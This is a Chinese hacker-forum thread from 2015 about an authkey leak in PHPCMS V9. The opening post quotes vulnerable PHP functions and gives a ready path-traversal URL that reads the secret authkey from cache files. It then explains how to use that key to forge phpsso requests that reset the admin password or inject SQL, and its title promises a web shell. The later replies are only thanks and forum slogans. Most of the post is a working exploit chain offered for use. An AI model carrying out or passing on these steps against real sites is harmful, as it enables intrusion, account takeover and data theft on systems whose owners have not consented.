C4r1st 发表于 2015-6-7 09:57:38

PHPCMS最新版本authkey泄露可注射拿shell

authkey泄露可以导致一系列安全问题
之前是在有一个《PHPCMS V9 一个为所欲为的漏洞》。可以参考这篇文章,这这篇文章的作者爆了这样一个点
public function getapplist() {
                $applist = getcache('applist', 'admin');
                exit(serialize($applist));
        }
厂商同学直接忽略了,但是却自己修复了(不评论),修复为
public function getapplist() {
                $applist = getcache('applist', 'admin');
                foreach($applist as $key=>$value){
                        unset($applist[$key]['authkey']);
                }
                exit(serialize($applist));
修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:
function ajax_getlist() {
        $cachefile = $_GET['cachefile'];
        $cachefile = str_replace(array('/', '//'), '', $cachefile);
        //$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
        $path = $_GET['path'];
        $path = str_replace(array('/', '//'), '', $path);
        //$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
        $title = $_GET['title'];
        $key = $_GET['key'];
        $infos = getcache($cachefile,$path);
        $where_id = intval($_GET['parentid']);
        $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
        foreach($infos AS $k=>$v) {
                if($v['parentid'] == $where_id) {
                        if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
                        $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
                }
        }
        if(count($s)>0) {
                $jsonstr = json_encode($s);
                echo trim_script($_GET['callback']).'(',$jsonstr,')';
                exit;                       
        } else {
                echo trim_script($_GET['callback']).'()';exit;               
        }
}
其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。
那么如果这样的链接会督导什么内容呢?
http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

不过这里厂商又会忽略的。那么我们看看authkey怎么用
在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:
public function edit() {

                $this->email = isset($this->data['email']) ? $this->data['email'] : '';

                $this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';



                $userinfo = $this->getuserinfo(1);

               

                if (isset($this->data['password']) && !empty($this->data['password'])) {

                        $this->password = create_password($this->data['password'], $userinfo['random']);

                }

               

                $this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];

                if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {

                        $this->newpassword = create_password($this->data['newpassword'], $this->random);

                }



                if ($userinfo == -1) {

                        exit('-1');

                }



                if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {

                        exit('-2');

                }



                if ($this->email && $userinfo['email'] != $this->email) {

                        if($this->checkemail(1) == -1) exit('-3');

                }       

               

                $data = array();

                $data['appname'] = $this->applist[$this->appid]['name'];

               

                if (!empty($this->email) && $userinfo['email'] != $this->email) {

                        $data['email'] = $this->email;

                }



                if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {

                        $data['password'] = $this->newpassword;

                        $data['random'] = $this->random;

                }



                if (!empty($data)) {

                       

                        //ucenter部份

                        if ($this->config['ucuse']) {

                                pc_base::load_config('uc_config');

                                require_once PHPCMS_PATH.'api/uc_client/client.php';

                                $r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);

                                if ($r != 1) {

                               //{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}

                                        switch ($r) {

                                                case '-1':

                                                        exit('-2');

                                                break;

                                                case '0':                               

                                                case '-4':                                               

                                                case '-5':                                               

                                                case '-6':

                                                case '-7':

                                                case '-8':

                                                        exit('0');

                                                break;

                                        }

                                }

                        }

                        if (empty($data['email'])) unset($data['email']);

               

                        /*插入消息队列*/

                        $noticedata = $data;

                        $noticedata['uid'] = $userinfo['uid'];

                        messagequeue::add('member_edit', $noticedata);

                        if($this->username) {

                                $res = $this->db->update($data, array('username'=>$this->username));

                        } else {

                                $res = $this->db->update($data, array('uid'=>$this->uid));

                        }

                        exit("$res");

                } else {

                        exit('0');

                }

        }
里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:
uid=1&newpassword=admin123456
利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入
uid=1&email=123'
具体的利用方式可参考
http://0cx.cc/phpcms_phpsso_auth_key.jspx

菜鸟小羽 发表于 2015-6-26 23:27:08

Micah 发表于 2015-6-27 02:56:48

支持中国红客联盟(ihonker.org)

wtsqq123 发表于 2015-6-27 02:58:51

感谢楼主的分享~

r00tc4 发表于 2015-6-27 02:59:56

支持中国红客联盟(ihonker.org)

wtsqq123 发表于 2015-6-27 14:28:11

yusiii 发表于 2015-6-28 04:28:29

感谢楼主的分享~

菜鸟小羽 发表于 2015-6-28 11:45:25

学习学习技术,加油!

若冰 发表于 2015-6-28 18:08:52

感谢楼主的分享~

ljy07 发表于 2015-7-1 08:23:55

支持中国红客联盟(ihonker.org)
页: [1] 2 3 4 5 6
查看完整版本: PHPCMS最新版本authkey泄露可注射拿shell